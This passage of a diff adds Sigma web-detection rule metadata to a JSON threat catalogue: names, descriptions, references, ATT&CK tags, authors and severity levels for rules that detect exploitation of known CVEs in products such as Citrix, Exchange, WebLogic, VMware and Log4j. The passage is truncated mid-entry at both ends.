"web_apache_segfault.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an issue in apache logs that reports threading related errors", + "uuid": "e9a2b582-3f6a-48ac-b4a1-6849cdc50b3c", + "value": "Apache Threading Error", + "meta": { + "refs": [ + "https://github.com/hannob/apache-uaf/blob/da40f2be3684c8095ec6066fa68eb5c07a086233/README.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_apache_threading_error.yml" + ], + "tags": "No established tags", + "creation_date": "2019/01/22", + "filename": "web_apache_threading_error.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "3rd party apache modules - https://bz.apache.org/bugzilla/show_bug.cgi?id=46185" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", + "uuid": "a4a899e8-fd7a-49dd-b5a8-7044def72d61", + "value": "CVE-2010-5278 Exploitation Attempt", + "meta": { + "refs": [ + "https://github.com/projectdiscovery/nuclei-templates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/25", + "filename": "web_cve_2010_5278_exploitation_attempt.yml", + "author": "Subhash Popuri (@pbssubhash)", + "level": "critical", + "falsepositive": [ + "Scanning from Nuclei", + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287", + "uuid": "a133193c-2daa-4a29-8022-018695fcf0ae", + "value": "Rejetto HTTP File Server RCE", + "meta": { + "refs": [ + "https://vk9-sec.com/hfs-code-execution-cve-2014-6287/", + "https://www.exploit-db.com/exploits/39161", + "https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2014_6287_hfs_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.t1505.003", + "cve.2014.6287" + ], + "creation_date": "2022/07/19", + "filename": "web_cve_2014_6287_hfs_rce.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", + "uuid": "a2e97350-4285-43f2-a63f-d0daff291738", + "value": "Fortinet CVE-2018-13379 Exploitation", + "meta": { + "refs": [ + "https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_13379_fortinet_preauth_read_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/12/08", + "filename": "web_cve_2018_13379_fortinet_preauth_read_exploit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", + "uuid": "37e8369b-43bb-4bf8-83b6-6dd43bda2000", + "value": "Oracle WebLogic Exploit", + "meta": { + "refs": [ + "https://twitter.com/pyn3rd/status/1020620932967223296", + "https://github.com/LandGrey/CVE-2018-2894", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.t1505.003", + "cve.2018.2894" + ], + "creation_date": "2018/07/22", + "filename": "web_cve_2018_2894_weblogic_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", + "uuid": "2dbc10d7-a797-49a8-8776-49efa6442e60", + "value": "Pulse Secure Attack CVE-2019-11510", + "meta": { + "refs": [ + "https://www.exploit-db.com/exploits/47297", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_11510_pulsesecure_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2019/11/18", + "filename": "web_cve_2019_11510_pulsesecure_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", + "uuid": "ac5a6409-8c89-44c2-8d64-668c29a2d756", + "value": "Citrix Netscaler Attack CVE-2019-19781", + "meta": { + "refs": [ + "https://support.citrix.com/article/CTX267679", + "https://support.citrix.com/article/CTX267027", + "https://isc.sans.edu/diary/25686", + "https://twitter.com/mpgn_x64/status/1216787131210829826", + "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/01/02", + "filename": "web_cve_2019_19781_citrix_exploit.yml", + "author": "Arnim Rupp, Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398", + "uuid": "e9bc39ae-978a-4e49-91ab-5bd481fc668b", + "value": "Confluence Exploitation CVE-2019-3398", + "meta": { + "refs": [ + "https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_3398_confluence.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/05/26", + "filename": "web_cve_2019_3398_confluence.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2020-0688 Exploitation attempts", + "uuid": "7c64e577-d72e-4c3d-9d75-8de6d1f9146a", + "value": "CVE-2020-0688 Exploitation Attempt", + "meta": { + "refs": [ + "https://github.com/Ridter/cve-2020-0688", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/02/27", + "filename": "web_cve_2020_0688_exchange_exploit.yml", + "author": "NVISO", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", + "uuid": "fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5", + "value": "CVE-2020-0688 Exchange Exploitation via Web Log", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_msexchange.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/02/29", + "filename": "web_cve_2020_0688_msexchange.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", + "uuid": "5a35116f-43bc-4901-b62d-ef131f42a9af", + "value": "CVE-2020-10148 SolarWinds Orion API Auth Bypass", + "meta": { + "refs": [ + "https://kb.cert.org/vuls/id/843464", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_10148_solarwinds_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/12/27", + "filename": "web_cve_2020_10148_solarwinds_exploit.yml", + "author": "Bhabesh Raj, Tim Shelton", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts on WebLogic servers", + "uuid": "85d466b0-d74c-4514-84d3-2bdd3327588b", + "value": "Oracle WebLogic Exploit CVE-2020-14882", + "meta": { + "refs": [ + "https://isc.sans.edu/diary/26734", + "https://twitter.com/jas502n/status/1321416053050667009?s=20", + "https://twitter.com/sudo_sudoka/status/1323951871078223874", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.14882" + ], + "creation_date": "2020/11/02", + "filename": "web_cve_2020_14882_weblogic_exploit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188", + "uuid": "15c312b9-00d0-4feb-8870-7d940a4bdc5e", + "value": "TerraMaster TOS CVE-2020-28188", + "meta": { + "refs": [ + "https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/", + "https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_28188_terramaster_rce_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.28188" + ], + "creation_date": "2021/01/25", + "filename": "web_cve_2020_28188_terramaster_rce_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)", + "uuid": "aba47adc-4847-4970-95c1-61dce62a8b29", + "value": "Cisco ASA FTD Exploit CVE-2020-3452", + "meta": { + "refs": [ + "https://twitter.com/aboul3la/status/1286012324722155525", + "https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_3452_cisco_asa_ftd.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2020.3452" + ], + "creation_date": "2021/01/07", + "filename": "web_cve_2020_3452_cisco_asa_ftd.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", + "uuid": "44b53b1c-e60f-4a7b-948e-3435a7918478", + "value": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt", + "meta": { + "refs": [ + "https://support.f5.com/csp/article/K52145254", + "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", + "https://twitter.com/yorickkoster/status/1279709009151434754", + "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/07/05", + "filename": "web_cve_2020_5902_f5_bigip.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", + "uuid": "0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7", + "value": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195", + "meta": { + "refs": [ + "https://support.citrix.com/article/CTX276688", + "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/", + "https://dmaasland.github.io/posts/citrix.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/07/10", + "filename": "web_cve_2020_8193_8195_citrix_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.", + "uuid": "f0500377-bc70-425d-ac8c-e956cd906871", + "value": "Arcadyan Router Exploitations", + "meta": { + "refs": [ + "https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2", + "https://www.tenable.com/security/research/tra-2021-13", + "https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.20090", + "cve.2021.20091" + ], + "creation_date": "2021/08/24", + "filename": "web_cve_2021_20090_2021_20091_arcadyan_router_exploit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109", + "uuid": "687f6504-7f44-4549-91fc-f07bab065821", + "value": "Oracle WebLogic Exploit CVE-2021-2109", + "meta": { + "refs": [ + "https://twitter.com/pyn3rd/status/1351696768065409026", + "https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_2109_weblogic_rce_exploit.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "cve.2021.2109" + ], + "creation_date": "2021/01/20", + "filename": "web_cve_2021_2109_weblogic_rce_exploit.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", + "uuid": "179ed852-0f9b-4009-93a7-68475910fd86", + "value": "CVE-2021-21972 VSphere Exploitation", + "meta": { + "refs": [ + "https://www.vmware.com/security/advisories/VMSA-2021-0002.html", + "https://f5.pm/go-59627.html", + "https://swarm.ptsecurity.com/unauth-rce-vmware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/02/24", + "filename": "web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "OVA uploads to your VSphere appliance" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", + "uuid": "77586a7f-7ea4-4c41-b19c-820140b84ca9", + "value": "CVE-2021-21978 Exploitation Attempt", + "meta": { + "refs": [ + "https://twitter.com/wugeej/status/1369476795255320580", + "https://paper.seebug.org/1495/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.21978" + ], + "creation_date": "2020/03/10", + "filename": "web_cve_2021_21978_vmware_view_planner_exploit.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.", + "uuid": "b014ea07-8ea0-4859-b517-50a4e5b7ecec", + "value": "VMware vCenter Server File Upload CVE-2021-22005", + "meta": { + "refs": [ + "https://kb.vmware.com/s/article/85717", + "https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22005_vmware_file_upload.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/09/24", + "filename": "web_cve_2021_22005_vmware_file_upload.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Vulnerability Scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs", + "uuid": "f425637f-891c-4191-a6c4-3bb1b70513b4", + "value": "Fortinet CVE-2021-22123 Exploitation", + "meta": { + "refs": [ + "https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22123_fortinet_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/19", + "filename": "web_cve_2021_22123_fortinet_exploit.yml", + "author": "Bhabesh Raj, Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", + "uuid": "5525edac-f599-4bfd-b926-3fa69860e766", + "value": "Pulse Connect Secure RCE Attack CVE-2021-22893", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", + "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/06/29", + "filename": "web_cve_2021_22893_pulse_secure_rce_exploit.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Vulnerability Scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", + "uuid": "b9888738-29ed-4c54-96a4-f38c57b84bb3", + "value": "Exploitation of CVE-2021-26814 in Wazuh", + "meta": { + "refs": [ + "https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26814_wzuh_rce.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2021.21978", + "cve.2021.26814" + ], + "creation_date": "2021/05/22", + "filename": "web_cve_2021_26814_wzuh_rce.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", + "uuid": "effee1f6-a932-4297-a81f-acb44064fa3a", + "value": "ProxyLogon Reset Virtual Directories Based On IIS Log", + "meta": { + "refs": [ + "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml" + ], + "tags": "No established tags", + "creation_date": "2021/08/10", + "filename": "web_cve_2021_26858_iis_rce.yml", + "author": "frack113", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "webserver", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", + "uuid": "a2a9d722-0acb-4096-bccc-daaf91a5037b", + "value": "Exchange Exploitation CVE-2021-28480", + "meta": { + "refs": [ + "https://twitter.com/GossiTheDog/status/1392965209132871683?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_28480_exchange_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/05/14", + "filename": "web_cve_2021_28480_exchange_exploit.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766", + "uuid": "56973b50-3382-4b56-bdf5-f51a3183797a", + "value": "CVE-2021-33766 Exchange ProxyToken Exploitation", + "meta": { + "refs": [ + "https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_33766_msexchange_proxytoken.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/08/30", + "filename": "web_cve_2021_33766_msexchange_proxytoken.yml", + "author": "Florian Roth, Max Altgelt, Christian Burkard", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", + "uuid": "6702b13c-e421-44cc-ab33-42cc25570f11", + "value": "ADSelfService Exploitation", + "meta": { + "refs": [ + "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_adselfservice.yml" + ], + "tags": "No established tags", + "creation_date": "2021/09/20", + "filename": "web_cve_2021_40539_adselfservice.yml", + "author": "Tobias Michalski, Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", + "uuid": "fcbb4a77-f368-4945-b046-4499a1da69d1", + "value": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit", + "meta": { + "refs": [ + "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/", + "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/09/10", + "filename": "web_cve_2021_40539_manageengine_adselfservice_exploit.yml", + "author": "Sittikorn S, Nuttakorn Tungpoonsup", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49.\nAn attacker could use a path traversal attack to map URLs to files outside the expected document root.\nIf files outside of the document root are not protected by \"require all denied\" these requests can succeed.\nAdditionally this flaw could leak the source of interpreted files like CGI scripts.\nThis issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.\n", + "uuid": "3007fec6-e761-4319-91af-e32e20ac43f5", + "value": "CVE-2021-41773 Exploitation Attempt", + "meta": { + "refs": [ + "https://nvd.nist.gov/vuln/detail/CVE-2021-41773", + "https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782", + "https://twitter.com/ptswarm/status/1445376079548624899", + "https://twitter.com/h4x0r_dz/status/1445401960371429381", + "https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml", + "https://twitter.com/bl4sty/status/1445462677824761878", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_41773_apache_path_traversal.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/10/05", + "filename": "web_cve_2021_41773_apache_path_traversal.yml", + "author": "daffainfo, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx", + "uuid": "20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f", + "value": "Sitecore Pre-Auth RCE CVE-2021-42237", + "meta": { + "refs": [ + "https://blog.assetnote.io/2021/11/02/sitecore-rce/", + "https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_42237_sitecore_report_ashx.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/11/17", + "filename": "web_cve_2021_42237_sitecore_report_ashx.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Vulnerability Scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a successful Grafana path traversal exploitation", + "uuid": "7b72b328-5708-414f-9a2a-6a6867c26e16", + "value": "Grafana Path Traversal Exploitation CVE-2021-43798", + "meta": { + "refs": [ + "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", + "https://github.com/search?q=CVE-2021-43798", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_43798_grafana.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/12/08", + "filename": "web_cve_2021_43798_grafana.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)", + "uuid": "5ea8faa8-db8b-45be-89b0-151b84c82702", + "value": "Log4j RCE CVE-2021-44228 Generic", + "meta": { + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755", + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://github.com/YfryTchsGD/Log4jAttackSurface", + "https://twitter.com/shutingrz/status/1469255861394866177?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/12/10", + "filename": "web_cve_2021_44228_log4j.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Vulnerability scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)", + "uuid": "9be472ed-893c-4ec0-94da-312d2765f654", + "value": "Log4j RCE CVE-2021-44228 in Fields", + "meta": { + "refs": [ + "https://www.lunasec.io/docs/blog/log4j-zero-day/", + "https://news.ycombinator.com/item?id=29504755", + "https://github.com/tangxiaofeng7/apache-log4j-poc", + "https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b", + "https://github.com/YfryTchsGD/Log4jAttackSurface", + "https://twitter.com/shutingrz/status/1469255861394866177?s=21", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_44228_log4j_fields.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/12/10", + "filename": "web_cve_2021_44228_log4j_fields.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Vulnerability scanning" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", + "uuid": "dd218fb6-4d02-42dc-85f0-a0a376072efd", + "value": "Zimbra Collaboration Suite Email Server Unauthenticated RCE", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/", + "https://www.yang99.top/index.php/archives/82/", + "https://github.com/vnhacker1337/CVE-2022-27925-PoC", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.27925" + ], + "creation_date": "2022/08/17", + "filename": "web_cve_2022_27925_exploit.yml", + "author": "@gott_cyber", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "webserver", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656\nVMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users.\nA malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.\n", + "uuid": "fcf1101d-07c9-49b2-ad81-7e421ff96d80", + "value": "CVE-2022-31656 VMware Workspace ONE Access Auth Bypass", + 